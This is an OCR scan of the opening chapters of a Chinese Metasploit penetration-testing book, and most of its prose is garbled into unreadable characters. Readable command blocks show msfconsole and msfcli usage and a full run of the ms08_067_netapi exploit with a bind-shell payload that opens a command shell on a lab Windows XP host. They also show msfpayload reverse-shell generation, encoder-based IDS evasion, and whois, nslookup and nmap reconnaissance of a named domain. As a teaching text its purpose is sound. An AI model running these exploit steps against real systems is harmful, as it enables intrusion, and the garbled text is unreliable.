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¥R 04l AT LR B R A K PR R T R B AR T s A g oy B4R SRR 4G
e R

1.1.3 BERhREMER
R EA 3 BE H ER I R B B B S B, SRR B AR A5 - WRERRYE I 3E




H1E FEMER AR

SRF LA FEHTHRMEER, RETRERNRBNBE TR, RETHER PRI
FR, LEAMNMEREBRFERE. ERERNTER, FEFRERE,HAEIRTFERS. R
Ja LLBGEZ R A B R AN A AR R 4K 55 5 .

1.1.4 &5 HkE

—EHRERAAATHREGEFEZ G, REEERAZNFAREHERENT R . ERA
A E. REES TS LR ERERRINER. FNPHTmEERETLERESE
mATH. HHERERELS R OMRRESmER, BRANKRS “HIR” FE8, BREHR
AR AR B R A RAE B

1.1.5 BEREHE

BB RS ERN SR P R BB R T, RMELRHEL TEERTIRITAUE
BIFR2 - -IRMKE”, TMEER “EREd”. RiFREREA LRERETEEERG M
B, FRENBHRBRHAERIRBESS, SRTHEBRAPRUTEFESE —SREFM
WM 2PiiriEm, ERRXKEELLEZKT. HEECENE, EREREME — MR
MRE, PRMOZTHERTHL T H AR RS EFEXNMER. #ITARBEHRPBREZRZ GG
AP AL M IR — > shell AR ORM, XF TS EHERCEEMHE, BASNE N8
ERAE FIR AR E P A AR MR FA IR, AR ERRAELRCE
23 T HRARNIANSEBGE, EHAH T8I E R

1.1.6 REEXEMEL

EBAELEMBMNRDABE TR AR — RN ERE BN R 5 Fh,. HER
BERTEHFRLHFFEM.

J& BRI R R AT — KB EAR TR DA R - RBRY, Xt R RS ATIRN
e H R DN FTINES, HEAMKBEEIAPAE I RUEGNEGRKMTY ., FigE
B B ELRS DUS Z M &5 R AE 0 HAR, RB SRR, FIRE AL B ANERN
HRFIT LR RSB, VRN D REBRAD—N RSN, REEEFHAESNE
PR i R T 5 B T R

TS E Bk b BORAT R s, REERAE L FHR R S AR AA KR,
DLEENPARRMASAA, EHRE, WHACSSHB T M REERE S, UERSEK
REEBAKS, RAGHTEA -ZHRE, ARFCERABIENERE, HELT
il 553 Bt RS BT RFERXEREETH 2 HME? AkIAE AR RAH KX
B E ARG AN BIETR? REFHEXS RS, FET RAEFN, BAARTREF KT
BE—MESMTRITIE S B IRAEER HE& P A U AT A R A Ik g ?




Metasploit % MR E A

WA MR A EHA R - KRBT MR, FE %Rt F A —BNEART,
I HEEARS T E P IFE-- SR P MRS PR . RESTERNFRREEPEART,
H R L B A 1 R BT B B P ALY 7 S0RE R 8 K K4 # AT T dn WS R ?

ARBEWEN B, AFERCXERQAENFRTIVTHELR, BRRE, Hi&
R ECHRBENIGE Bis. AREENARE, - MENAGEEEERHRAS BRI
Waat AT TR--RO%RE, STEN—-BRLMSENRE, FHRER TMEEREE
HEBE, RREAHETN, EBREMREN, FEBTRNESnNSR, mAREHAREAs)
HRIBE TR

1.1.7 REM B

RERBFEIRLBDEAEZMERE, Rl ERARE CRRERBIEEEN T LR DM
THRE:, s, UEBAEEN-—FPHANTEREFRIRRANZ2RM S5 H.

TEHEATIEEIAR, RERMA—NMEEHF R AENRAIT LIFR, BB -REFAHRER
DFR, MHREBEN RS PETRBBNE BREMRE AL N5 B LR LRI ik
KEGEFRRAE. SHEHREMIREREKELE, REEHEST/TALNARL, Katrin
PR IR BRI A K2R, S RBmRE, VLR RERNRSKY, mHMIE
R Z SR IT 3T S

HWHRSHRGT 2N ZARE. TERTHERRRIZINAGS, BARRABIHE
BN ESASHREH T EER, AXEEZ2ZNWIER EMERNERAE. #lU, RE
FEFPARR Web NMAEFFHHM T4 SQL AW, RESERE R R KB BLIR
K& e KR P AT RIS 28, RS %L SQL &#REs), £ MRS
+FizAT SQL B4, ERAHEHRHAHE. HRREF R T RZRERS T MEER
SQL HARFZIS, MBS SQL HEAM TG AR —MRWREFB SQL #
AR EREEFEH T RERRESHAB=FNA, NERKR S P HRNIZES IEE
XERE, FRUE S ST HER B HERIXENA.

1.2 BiEMAER

PHMERH L, FELNBEJPRANEFIEARBEESENE T M DM TR, BETRiE
RAVKREBERBENANPAFERELY. oEWE SRR, 0&K, e “ar
A", BRIGSBMNAEEWGTZHRNBAEREAL THAATRRR,; mARAZNEN TR
B — A3 & P R —n B M BT A BT KR Bk . BRI A T B 2R
2 TP



F1E FENIAABR

1.21 BEMR

HHEAER, AREMEFAA—BIE KRB AHRERR, B80T X
B RAARSESRHRBEFETINEL S MEHE. AR KRR IREHEERERA
SR, AU UENBE SRR MNEA TR NG WaEEARNEKREETE
AR E S AN SRR, 0 AT A TR R BT T R R s B
M. WRENEGE, AR ENSENRF NSRS AEGHEHZ NEE, Ba 0
AT B SR 8 I A T

122 EBENR

SRR ARME, £ RESWEREITRIRURGENARIT N, HERT
RE P ESKEAME BRI N TLn . Baidur U kB P 8 &2 H A 2 JiF Ry
Xt -~ RORE T

PEWARLBENB LN, RNHERENIEALETENBEREN. EREVANE
EINAAR D, EHENHEERBEZESZN, BACEEEMER T REEMEETE. B
EHAKERNEAEIENEREFRENEE, Eit, 4 -RELEAZMRERAE,
FEEHARERHBBHFARZENALEERE, MATFESKERYEFRBT RREHF RSV
RIAACHT BRI B BR R, HRIEA SRR E]. |

1.3 wRAK=E

du RS R e E RARMN AT ZERAT BT R. WREHEH R EITk
W EFRENRERRIRLBERMHHRYGRE, DR LEFETHFAFRS. —AE2
R B RARFRAGMS X, HRLUEARAFHSHRT SRR E, RfE
FFEFREZeRA. SRZEREFAENRERER TR0 EE, THSEMEE 33
KIBATT R, EMEREHESEHREEERIFARALHRE2RN.

BRFNRASESEREREIECEZBE r FRFNER, —REfe SRR
HHEAFRNRERF, A ERENFRAE, BRENEHEFFH. RASHEEREE
WA RER T — MR RBEER, 7553 IFIRAE N AR 2 B0 T 0204 8 o] Shg i
MY HZ I FHRT . ARFEEAmEPRRBINNRATEZFEEFIERN, HAh0AET
KEel). BEMANIOLLETEAR M TR -ENBIETE, NG RAER
FENREREZIMIBTNRE. EXFEEAT, JIFRA—BRENEEN RN LG, 759
DR, TRKRE A CHRRME KRB R 4.




Metasploit ##EALIE™

1.4 NG

MR ARH N 2 i BRI S, BOE IR R T - ARE N AR R, 1§ E—TEEN
WATHRAE PTES. 7EBATAEM LY. AT —KBEQAST, FWEEME 4L, oL
RISERHFE, MHENZETUERRN. B —KBENAE, FHRERGSAEHEKIEHRE
RERE AL, JFRATEREINGER A, X4 TR E AL TE T AR 2 Fh 2
i R B R 2.
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Metasploit E il

453 — Yt Metasploit BB RAMERR KA (MSF) K, {ROJGeL¥ e R4ttt £
O, EH. TEAELRFER, MBELHEMN. EE£FTY, BITEEEE Metasploit 28, 4
Ehm aE e A 248 % = ) Metasploit T 5750 i HE — & 8 B, ib AR ELE Hh B 3B Metasploit BB A .
A EER B —EEXFRE R RE, R HEMBR Metasploit AriRHtHIAFR /&
1. Metasploit & & ERBREFESLE, EREHEKITHFRENMTHERE, {H Metasploit thIF7E
HFE MR A

FEE-— P AF ] Metasploit B, REEH) - AR TAEXETREEFMEE#ELR, WH
RLAZ IS Metasploit R 34T e Y, BL R AR T LU FH R LAy 4R 1 18 1835 Rl TH S JRE

2.1 ®AKIE

EBEAED, BITEERHTEWRE, EHAELGH - -SEE. KES T RHEMRE
RTE Metasploit #£38 12 T 3O EH#1TE L8, HEEEIINE RNl AT EEER.



Metasploit ;8 i%NiX 15

211 EiEWE (Exploit)

BENGEREhBEGEREENRENE R4, HHEREPRZeRM, FTdiTh
HiTHh. BEEFRRBAGEEARREN, BESERFREMBNATTHIAN — ke
B OMATHRBERGERADESE PR Y. Web REBEFRFER DG (Hin SQL FA), LR
AR B RE,

212 Wk#H# (Payload)

Kt RV E QR R G B BT 26 ZHATH LS. & Metasploit HE3EH L
QAR ESE. AR A . Flin, R shell 22— M B HLBIBd EVLGE P ERERE, I
LA & 4T shell B HERFF (2 WE 5 3), ifi bind shell B & & N7E B #5E 0 L& 4517 shell
HEF— T AR O, BhE o7 LR ICE R 1 B 13 shell A28 .. BLaliBAT 7] BE R )
BRI BRI E RS LT -tdp 4, MMM FESF,

2.1.3 Shellcode

Shellcode 2 7Ei&E T b E A BE R ATIZ T — HBLEE RS . Shellcode B ¥ RiLHmiES
B, EREHENT, BHRERAZENUITT Shellcode X—HIFSZE., A LRM—ar41T shell
& Meterpreter shell, X8 Shellcode ZFFRETHE.

2.1.4 &R (Module)

EEBK LT XD, —MEHRTR Metasploit 252 P AT A — BB AL, &
R, fRaf e —MEIBRH IR (exploit module), gk T35 Fr & 3% Bdr i
KA. MERMBMRE, RATGeER - MR (auxiliary module), FIRIFT—EE T
RERAE SAMBEHENE. XEEAFELNERPRIBRA EE Metasploit HEZEIIEH X AT
ZLFT7E .

2.1.5 M0k#% (Listener)

BT8R Metasploit TAIRSHEAMEBIZERNAN, ZEPRR. EEBEVRBENEZ
Z2E, EWMfESEd ERMEERRSGEN L, Tk E AR d 2 L E RS EREE R

2.2 Metasploit B P&
Metasploit 30 EMBEMIIBERETEN A, EQD, A% W, awTHEEASE




H2H Metasploit 28

AR Taxse R A, THEEREAE (utilities) W3R4T % Metasploit ER P AN E
Pk, XEIHEERENFRERBRE, UEE—YHRATESHRELEREENSFSEFER
fTra.

221 MSF £&im

MSF #35 (msfconsole ) & B BT Metasploit HEAZ R A MATIE & O, MR EIER BRE,
H 2% MSF 235 2 Metasploit HE42 P B R & THREB R LA FRIFM LRZ —. MSF #igik
T REED, e Metasploit ERP NLFE—MEINARE, SmIFLLRAREES LI
W B ER G A HET . RTT LMEA MSF SRt L Etg, BFEAR B ENE. BH
HiBMEL., A . BERIEYTEE. BGE MMM AT BB B .

B ¥ Metasploit BEEEARHERAES B, 2GS ESCRERFEHMNRE. &Y
WERE R MSF AR AVE: A R Ak, IRETLLER I+ Metasploit BI57H £ 8. EA BHREWET .
BAIER A1 MSF #2554 AR

® /335 MSF &R

Bah MSF £t kR R, RFEEMS1TTH A msfconsole.

rootebt:/# cd /opt/frameworki/msf3/
root@bt:/opt/framewnrk/msf3# msfconsole
< metaspleoit >

Lk I R R R N T

Vo
v\ {oo)____
) W
[[--1] *

mst »

Piia) MSF £ R Bh Sk, HFEERA help, Hal LLhn. E 4R BT M8 K metasploit 472,
& FHIXAFFP, BRI connect A RBREWFATED, Ki -GS AU AFRNS—
& EXPLHTHEGE. EXRNERCASHBERAAE, SEaSH#HE, LASHAROEE
T

mst > help connect

BATESHFEYPFEMFEAMKEES TR MSF 85 .

222 MSF &7

MSF #ir 4451 MSF #2305 Metasploit #2325 (A2 0L T AM BN BIHEFE, MSF gl
PR P RIFRB AR FA, BT RGBS, T msfeli W EEEHRE

9



Metasploit B MG

A4 BAN 5 A ArS4T T AR E #FME. Msfeli 7T BUBL8: Ay &4T shell 34T, MR 4T
AN EERZE msfcli 37, LR msfcli FH LB RL MG ST TR, msfeli E3FF/E
& FsE B R, X NERRMAMAR T RFHBEIEAER T ERE NS
X, TEABARENE REBHHE MEBRTHER AN FIFEENRESEN, BHEMBREhEE
B4l L E. msfoli 24t 7 —SSREARM MBI O (G H BRI —MERBRASR),

A PLiB it msfeli -h #3437 BoR:

rooté@bt: /fopt/ framework3/msf34 msfcli -h
Usage: /opt/framework3/msf3/msfcli <exploit name> <option=value> [mode])

————————————————————————————————————————————————————————————

Mode Description

{H)elp You're loocking at it, baby!

(S yummary Show information about this module

{0)ptions Show available options for this module
{A)dvanced Show available advanced options for this module

{I}DS Evasion Show available ids evasion options for this module
(P)ayloads Show available payloads for this module

{T)argets Ghow available targets for this exploit module
{AC)tions Show available actions for this auxiliary medule
{Cyheck Run the check routine of the selected module
(E)}xecute Execute the selected module

root@bt: /opt/framework3/msfift

® {FAIRH

AERAKEE WARFEH msfeli, iFEAEHLEFEFAE —LHANHE, XA H2H
FAL AR AE A XN EODE — I FIERENR

2 {RAIFF #5353 Metasploit, Y358 Bl A AN FE 7 3\ fr 2 S8R, PRAT EAZE YR H
AWEFRGgLEIMNLE—NER “07 STRDEREZ M HRPARANREZS. £ T oK
B Feh, BAVERFESTF “O” SHoTClEE ms08_067_netapi FFIRFIRE S L.

root@&bt: /4 msfcll windows/smb/ms08_067 netapi O
[*] Please wait while we load the modole tree...

Name Current Setting Required Description

RHOST  0.0.0.0 yes The target address

RPORT 445 yes Set the SMB service port

SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)

RARTUB X MEAFE M ERLT: RHOST. RPORT 1 SMPIPE. 7, W E—4
FAF“P” , PREEOT LSRR B O] BB MR AT .

10



2% Metasploit 25

msfcli windows/smb/ms08 067 netapi RH)ST=192.168.1.155 P
wait while we load the module tree...

Compatible payloads

i i~

Name Description
generic/debug_trap Generate a debug trap in the target process
peneric/shell bind tcp Listen for a connection and spawn a command shell

TENBRNUBERLRETRAALTHRER, FEE T - AMBRE8ETLE, BATR
ATLGAE7E msfeli K@y & ZHMF RGN EFFF “E” , AKSTBEWNENAE, WTHR.

root@bt:/# msfcli windows/smb/msOB 067 netapl RHOST=192.16E.1.155 PAYLOAD=windows/shell/bind tcp E
[¥] Please wait while we load the module tree...

[*] Started bind handler

[*¥] Automatically detecting the target...

{*] Fingerprint: Windows XP Service Pack 2 - lang:English

[*] Selected Target: Windows XP SP2 English (NX)

[*] Triggering the wvulnerability...

[*] Sending stage (240 bytes)

[*] Command shell session 1 opened (192.168.1.101:46025 -> 192.168.1.155:4444)

Microsoft Windows XP [Version 5.1.2600]
(C) Copyright 1985-2001 Microsoft Corp,

C o AWINDOWS\ system32

AR T 1 FoARINEE N ERR DEE] T —1 Windows 5317 shell.

2.2.3 Armitage

Metasploit fE42 1 B armitage AR — P2 B AMEELAH 80, H Raphael Mudge
iAR. ITEORETFEERO0E. FHERERYN,. iLARREZR. RITFEEBPASHEANR
% % armitage FE R, HEMREHEBEFRNAO D EZRE . BRI BHFER2HHM 7T Metasploit
RIMIAREIH, M—BEfRT AT Metasploit RN ERFTIERE, IAXEEADIT AR
354 R T,

® 11T Armmnitage

{RPT LB T AT armitage #v- 2383 armitage. FERZNTFED, %E3F “Start MSF”, X
AT LLit armitage 33547 B Metasploit SE#1 £,

root@bt: fopt/framewerk3/msf3# armitage

armitage B3N /5, TR M T SR B TR AE W] LAPRAT 4 S8 BB BT, BOK U R At Y
Metasploit Zh8E, ZFREE, B 2-1 B4 THTHIRSE (FPiw) #Ewdayidie.

11



Metasploit iR 15

Mruge aw Hgate [EITR e

. "
= 5 Ernadl Adtmcky [
- Ewil Eiies g N  3cche_cnoitypa_sing
P ow - - - _
Browsad AU O, . SN qamwmy
: = :rm Ea Autopen P -ng_ﬂﬂﬂﬂldlqﬂ
h - R —-—
" i My appte_guickime_maryhaled_punk
|

Arcratarygr

paces Help
Find Atbacks r

. waor Alta - .

avingaolt_wede3d iceneurd
challcat_crypt_wiit afile
CHED_arTyTorrHit_sdec
COIMMTRINHCIYEE M et b

depiudia plaver eeed
WHCYRaEA_ramp_downioad

W RN R R ¥ HENE  NEANE ¥ L }mﬂcﬂd'lhl'il_ﬂ‘uﬂ
ax w% ¥ ) L L) LR 2
O F O A ) ) r L L
rr
A | L) X r r L " .
¥ OARRENN * - O 1 WAEAY RN

=[

o wezm| nGd prplaity - 359 gqurilidry - A7 ot ma10_042 helpctr s omd meec
-:{
=|

- M_cram enbject
w_unapfe_scripting
v _bazicserace_ ol

8 ura decbase bof

j| e wa_ergungect_akpm

“ macToWI e _unsate

maDs_0) _wanl_satabarproc
ma0? 017 o loadmege_chanksize
ms0B 041 Enapehotveivar

m lauploit y3. 8. 0-dew [(ore: 1.8 api:1.0] m310 023 e vhycriph winhin32

a, Towkun # MHENEN B

1 parlueddy - 22 encoders - B oaaps mylc 048 shorteut icon_olcader
«¥n r 1083 |||:|-|i_.ﬂrrj today (AOLE.0K, 0! Fcrvmibarint_ et e
rcwiprird target frame

parsis soplond traversal
symarte:_sktmsdaployment_downinadendinatel
wmamnec_appatradn_unaste
systammouirameantilab_unsals
tumb iwsed_filetransfar

winETE Pl Lne
wire_dmint oo
mmunprogremcheckgr_nsefa

B 2-1 armitage [P0 538 BN K P 1Mm

2.3 Metasploit THEEIEF

720483 AT Metasploit =M EEA O ZE, BLEE T LR M —4E Metasploit THREFE
T . Metasploit BIZIBERERT ZEER B EMNE ST, 3 Metasploit 2527 ) — L8453k D R IEAT
BEHRHEZED, EREAEITREIEPEHEH. BNTXENELAB0 7 R Metasploit
hRefEr, R HARTES kT HHARR TIHERF -

2.3.1

MSF I{ T

G #L o P RS

MSF BLai 8774 iR 88 i PRAESE 4 BX shellcode . AIHUTAVIRIEBEE MR A, RTLLL
ENTEREZERMS L /B E RSP HETIEH.

Shellcode A LA BRALTS C. JavaScript. B ZF Web N AT Visual Basic BIA#E A F £ #
#i, SAREEATEARAGEPER. LW, {R7EFHE Python IS %E —MEEN T IH
SRIFARE (POC: Proof of concept), M4 CESHANMHRBIMN: NBRKRERE N
WL AR M T D, FB-ALL JavaScript i8S AL RIHEY shellcode M RG-SR, EMERT
HAEE (e 2 T AR TT DA ST R X D BB R T HE AR — N HTML O R A i i .

12



23 Metasploit 28

it BAPRE TR THREE R BT R, fEar21TH A msfpayload -h, WFHTF:

rootiébt:/# msfpayload -h

5 msfcli bt —#, WREHFEE MR BEATRRAOLERIN, EGaSiTZER
—AFHF “07 , BATEAF|HPrd Al al & s ms|&., Wk

root8bt:/# msfpayload windows/shell reverse tcp O

BANER MEPREBERGRRIT KN, F2RBNEAM TBEAER MSF B8 a0 E
m%&ﬂ

2.3.2 MSF 4gi3g5

H MSF B T £ 28 r= 1Y shellcode BERAIETH, HEEXPEET T —2 nll ZF
£, EEREFHEITRTN, SELEHSEAIRFTTRNEGER, NMEFSESERIT
ZATHARMTO A 1 LIET . KR, ZEw00 Fiwll FASR IR B 8.

FiFh . FEME B AR shellcode RATREFABRRRLEMAHTHAAEA, ATER®R
IX—E 8, Metasploit KIFF R E{15EHt T MSF 4isa%, o DL B RE D A Rt B it iT 4
MEmMAR, RBHLEFER, UREREFEEAR IDS B4R . A msfencode -h A] L H MSF
TR RS .

Metasploit PR T —RHBTH T A EHR FHRLSE, —EX AR 58 FEEN
KENEBLEBEA R IEREH, MXHSZREFSHRERE CHBEANBELGE, A BN
M RE2al§TEN A AESRAR . MR- BB A NREZE AR YRS RPHE
WEBIRES .

EEBMTEIH R, RA] T KB T B KR x86/shikata_ga_nai Hb54%, TE Metasploit
g —— A4 Excellent B RMIZE, MAMHFREE T MR AT RN E M RHELT
WRUrHT . XTT4mf238, —-1 Excellent FIVEITAR B ERINAER , AL MAEGBEHETLE
MERXERAAEMR, NRFEAFEFRETHNSGRERFER, KaTLL#ER msfencode B)-I
ZH, WmEEE LA REMEFRFTHEFETS.

Toot@®bt:~# msfencode -1

2.3.3 Nasm Shell

nasm_shell.rcb IIREEFAESRS A T AL RAB I XN ENTFSEFRANTLIE, RS
PR BEAT B FE AT R, R EN S ENIL RG4S R H TR opeode ¥pPERE, IB 0B f LAE FH X
N TIREFE R BN

13



Metasploit #iER XA

tein, H{EAV2TZEPTH, FHEK jmp esp 52 M opcode BE/EMSMT, nasm shell B o%
WFEA R FF E4.
root@bt: /opt/frameworki/msf3/tools# ./nasm_shell.rb

nasm > jmp esp
Q0000000  FFE4 jmp esp

2.4 Metasploit Express #1 Metasploit Pro

Metasploit Express £l Metasploit Pro & Metasploit fE22 g b {4, Web £ O34, XHE
PR T AR nl M A B BE, b FIRERE TR A 5 ¥ FH Metasploit #4F, [RIBTtR054R4R
fik T X Metasploit #EZERIFERVG 0] 0. IXB A F= AR T —27F Metasploit H X AR A %
AR TH, b g3 0$#% T RN EsLMEEd T R, 35 Metasploit Pro 81— R
FHR S AR 0, AT LU B W R O AT G H R MERG.

XA EE? HHERA A SBMETFERE. WIREK Metasploit &SGR ATEE
Bl TR AT HE & T, B RURTSR M40 TR B1R 2 P BB St T, (BinRix ki
an B4 B SIS R Bk D RO B (R4 A PR T R A B, BT LIS ERIRE,

B, J2FaaNLREEREIEN, FE-HiEEnE, ADHARXBHZLTEER
IRB it 2 B RAEF

2.5 NG

EEEP, FFEHTERT Measploit HERRM— AR, SHRSESMBRBN, FEIT
T E T AE ARENTIEE. RERIERRREL LRAF 8 O R T AR ERE RS E )R
2%, HEAS -HFROERESE, BaREEHBEEEARTERN T ARBRRTRA D,

MR CETTE TEBEERAEMIERNRE, RRMNSELEFIRIEH T --HH:
s B &

14



MR R AR B CAR#4T, RBEMNAREPHE_MPR. HHREENENE
REX2E H eI S, DL 7B HPRHARETEF 3, S RENENME, X —PINE
= BHEEAT, AN IEX A B BRI R 2 HARREE . R HIRIEE TER %A,
BAKTRESTHANRERFASRT AR ERERZEE . HREENTETESAS
MBI R AE B Google hacking. %5 E B bsR MR TMEAT SRR E, XL T 1E
EEGFERKKNE R, FHBEERRNWNE. WREEIEFEAERGR. A, MREER
MERAENNGERAEERSHERRESD. EX S8, RAZARITRESNERERR
HEMAEER. HHEFEX—A: BOENBEAEEREEFEE, WHELRBMNERXTFE
ARZELAHNEEREE S ITATFIR LS.

EHGHRERTIEZW, GRS ENFHES - SRENFRINSRIER TR, &8



Metasploit 8% R & @&

AR FE R E S, FOFRT AR EN R TENENRTIER KEHREETR
HBF: BREOFHSTRAE--REFI AR REA. MFA— AR EFR T RS AH L
ERMLREE R, 23 3F T 008ERHAN 5N 2 e 6548 A AT E KAV E R T fp L
L2 .

HREETE R —REEMLPREENNRYN, BAEEREFELENEM. EXTIRA
THEHATIC RN, BEMAPWEH. 8. £HEM. KA, EWiiORR, ERTSEBG 2.
WERREEHET ArAA LS B 2MEER .

ST AEHARG, BERR DA ORI R root KR, HAREE
CRER, SBZAALEEATT.

B AEFEE4MNGHRER THRLMRE A THRAIAXE AR A%, Bk
RN A CLBREF T 3R, (T W, FEERRA) ANTRIFFYNAT
MBEF RN, THAEYAHEHREZAGTAKR, AEFTRABET ERASERR TE
SRR, FTREFAE, FE2BEENF.

3.1 #HINEERRE

FHEE . EENGEBIEERT, ROUUEASERI BRRANER TIZEARER. 26
Flk$E, AL RIS ENEARBAIPMREEAR, B2 THEIHrMNEPEH
)35 1 78 B0 IS o AR 45 SR B 1R 2R BY

AFFIREER (OSINT) £—ExF A FF R H1E B R | W RE R 7T LR E B 6 H #rta iR
S, —RH T ARG s BIE TARERIERE, HPaR Yet # Whois F. X
th, BAMEHR TS RRELE, DEFREREREPITESEHBATRARY.

EiX BRI —WEHT htip/rwww.secmaniac.net/W 3B B dr . T A H ¥5 &2 8 5 M
WHRBRARAHEH ALXMNEARRNGBER T HRERLE, ZHEBEMRTAEPLAT
M-, EREETAPRIN - EXBERATEHAHRARNE, NYERSG
Sl 5E e

3.1.1 whois &if]
A" A (8 H Back|Track B whois B #13-4% secmaniac.net BI52 IR /AT
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msf > whols secmaniac.net
[*] exec: whois secmaniac.net

« « « SNIP . ..
Registered through: GoDaddy.com, Inc. (http://www.godaddy.com)
Domain Name: SECMANIAC.NET
Created on: 03-Feb-10
Expires on: 03-Feb-12
Last Updated on: 03-Feb-10

ODomain servers in listed oxder:
NS57.DOMAINCONTROL . COM
NSSE. DOMATNCONTROL . COM

EORNIAINESZ (DNS) IRE25M DOMAINCONTROL.COM 114, XEXFARRK S
FEWNBELRMNTF T, £—BXMPH P, DNS BREBEEMBAAT AL, TTRAMHEIK
disi. RS DNS i S FRK 55 DA A KA A B, RMEFEFREREZ L —
W Eg N RN SBRMEEER. BEXMEREFR, DOMAINCONTROL COM ¥ A secmaniac.net
A, FrLLERANTABERT IX tehl 2 AR & RS dE T i, NANHBEAHMMNE I L.

3.1.2 Netcraft

Netcraft Chitp://searchdns.netcrafi.com’) &— MR A TR, FHERNES EBAR
AN EW AR & 5% 1P fubl, i 3-1 B,

sits PALR /AW SECTREAMC COMm Last reboet undnown B Upkirme green
[, FRCTHINHEL, oM Newrbipiaprie snarviepir WIDEQMENWEST GHIO
1P salnirmas T 10 LT 142 Eial rERR 52103
Cauniry [ _qF.; [~ T L
e Pk pan Ty 20 S wemin el rruprad il ewia-ig Coiin
Damain Ragiaotrar BO-Ip.CvD Rarviar s DS 01 1E-75-147- 105 by wiseopanwast com
Drgmnisstion ATTN ShAne. com, 5o Mo IReDm RegtTstion Privacy, PG, Do 19003,  Mamtaerysr VT Intermeel Selutions, LLC, 100 Washingion St., Suke 250,
Ao, BUS 11 Linatad SOamw Organiaation Aena, BE50D, Urited States
postbar mbe: Netcratt Sha 4 Lup-giew |
e L""'_ """-J Sadpat aeart [vars Mt disdgets)

[ 3-1 (¥ Netcraft Jde 4k i A& £ M 2 B 25 0 BB 5% 25 1P #ithl

B 0H secmaniac.net B [P Hhbb R 75.118.185.142 J5, BATHM — &K E 31X [P #hEE) whois
75 10:

msf » whois 75.118.185.142

[¥] exec: whois 75.118.185.142

WideOpenWest Finance LLC WIDEOPENWEST (NET-75-118-0-0-1)
75.118.0.0 - 75.118.255,255

WIDEOPENWEST OHIO WOW-(L11-1-184-118-75 (NET-75-118-184-0-1)

75.118.184.06 - 75.118.191.255
M whois BIE W& RBITIEI WIDEOPENWEST ERRIBE PR GSRHME. ATH
S F MG AT AE seemaniac.net B, secmaniac.com B34 T, BATEESE ¥ Mo 4~ M 55 1] gE
BITELAARNFER, BN IP it HiEE kB ERER it B R,
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3.1.3 NSLoockup

N REETFRSSEMMER, RAVER Back|Track 14T nslockup, K& HERIER ALY
ER TIXAD TR, BATR BIERIEH secmaniac.net BTE 25K

roctébt:~# nslookup

set type=mx

» secmaniac.net

Server: 172.16.32.2
Address: 172.16.32. 2853

Non-authoritative answer:
secmaniac.net  mail exchanger = 10 mailstorei.secureserver.net,
secmaniac.net mail exchanger = 0 smtp.secureserver.net.

ELERHFEP, FBMEDNNCH RS RE) DNS 0kI8 R mailstorel secureserver.net ¥l
smip.secureserver.net. {BEHE, XEHFREREBAHI -FEEN, HERERMPZBEN
RHEN.

FPETHIE, BNESHER T —SESETHEPITESHIANENMEN BREFELR. A0
BEARNTEEIEEEEERAXNB4E IP thit (75.118.185.142) 1T E AR S M.

BR: RApELHER TR, ERZAARG TR NTIEN. TULE %
i# M MATIEA ( PTES; http//www.pentest-standard.org/ )” E#F ik, JERAMHMEFIER
& TR,

32 FHEEEE

EFEHFEERELTHED, RMNEHEBRAERTZE, AT H#ETHEHEARNTH. 260K
P AT LABAT I DEIRE A E H R R T TR 1. BT TR E . SRB—1
W ENBETTHMRS, K —2BERIRNS. HEHEE: UREAETHEBEED
BAg L, BLAREBEARSEARRIRE (DS RARKHARS (IPS) ¥, X&
w R —MUITRME S B FEN AR EERIINSG R

3.2.1 {£F Nmap #17im 1338

WL #ENE RiREmE T Birl IP G )T GXEILL secmaniac.net W) 1P Buhk354#]), A
AT LA S O HEMEER B AR O S O3T#E IR B R EA TR L8 5 1
RAEEVER, Al DR AR . VR EME B2 X, BilafREBMBENT
1P Hihk, TMAREFSE—IP.)

AR ML, Nmap £EBRHRITHER OB IR, ©5 Metasploit FIEKRAEE BRERES ",
7 Metasploit P, Nmap B HERTUMRFEEREBEF L &R, Nmap fEibiE—
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KEHERE LN mESS EV LETHNRE, B MREHETRE - T HARSRNARD.

EEBIT, RAVEE secmaniacnet IR ik, WRIEHEMR A PHEBE 1P it A
172.16.32.131 MIeflbl, AT AEERENIES: nmap FAHBITRT HIREN. Fa5.LH5), &
FER Back|Track E VLRI 27848 AA nmap 4, 5 nmap LHAEEREE.

R 2RI nmap HEEZHSEFEM, AdFERSHEN FRINREHBHSH
— R4

BATHEFF B9 nmap I — B-sS, FHBERBT KB TCP 19#, LM MEEsd
TCP SO R EHIN . B — 1 HEENRIE-Pn, E&€51F nmap FEFR ping Ay F4EHKT X4
AW, AR IARE EHHEEEE RS, X MEBEEM T Internet | RIS FRAREE, BA
£ Internet R F BUMEIY AT ping - AT “Internet FHRIF UL (ICMPY” 4T,
MR ping HATHE, MARRLSRAE TS LRFEN Tl AR RE R P FIEHE
13iZ1T nmap, NPT A BEEEGX BRI LLINRFIHIERE .

MZELEBAVER]-sS F)-Pn 3B IR 3t 34189 Windows XP BT — R4 8 nmap $354.

root@bt :~# nmap -5% -Pn 172,16.32.131
Nmap scan report for 172.16.32.131
Host is up (0.00057s latency).

Not shown: 990 closed ports

PORT STATE SERVICE

21/tcp  open fip

25/tcp  open smtp

Bo/tcp  open http

135/tcp open mMSIpC

139/tCp open netbios-ssnh

443/tcp open https

445/tcp open microsofi-ds

1025/tcp open NFS-or-JIS

1433/1cp open ms-sgl-s

3380/tcp open ms-term-serv

Nmap done: 1 IP address {1 host up) scanned in 14.34 seconds

URAT L, nmap S~ BGR O RFIER, FHES M O )5 h . LR R % 804

ATRBREEEE, AJBZEHEH-A B, USRS TEARR SN RR, 2
H R R AR RRELHIATEE. TERRRIMEH-s8 M-A HH, MM FE BRI
HEIRHAR.

root®bt:~# nmap -Pn -s% -A 172.16.32.131

Nmap scan report for 172.16.32.131

Host is up (0.0035s latency).

Not shown: 993 closed ports

PORT STATE SERVICE VERSION

135/tcp  open mMsSIpC Microsoft Windows RPC

139/tcp open netbios-ssn

345/tcp open micresoft-ds Microsoft Windows XP micresoft-ds
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777/tcp  open  unknown

1039/tcp open  unknown

1138/tcp open mSYpC Microsoft Windows RPC

1433/tcp open ms-sql-s Microsoft SQL Server 2005 6.00.1399; RTM

. SNIP . . .

Device type: general purpose

Running: Microsoft Windows XP|2003

0% details: Microsoft Windows XP Professional 5P2 or Windows Server 2003
Network Distance: 1 hop

Service Info: 05: Windows

Host script results:

| _nbstat: NetBIGS name: V-MAC-XP, NetBIOS user: <unkmown>, NetBIDS MAC:
00:00:29:¢9:38:4¢ (VMware)

| smbv2-enabled: Server doesn't support SMBv2 protocol

| smb-os-discovery:

|  0S: Windows XP {Windows 2000 LAN Manager)
| Name: WORKGROUP\V-MAC-XP

3.2.2 & Metasploit S {E &R

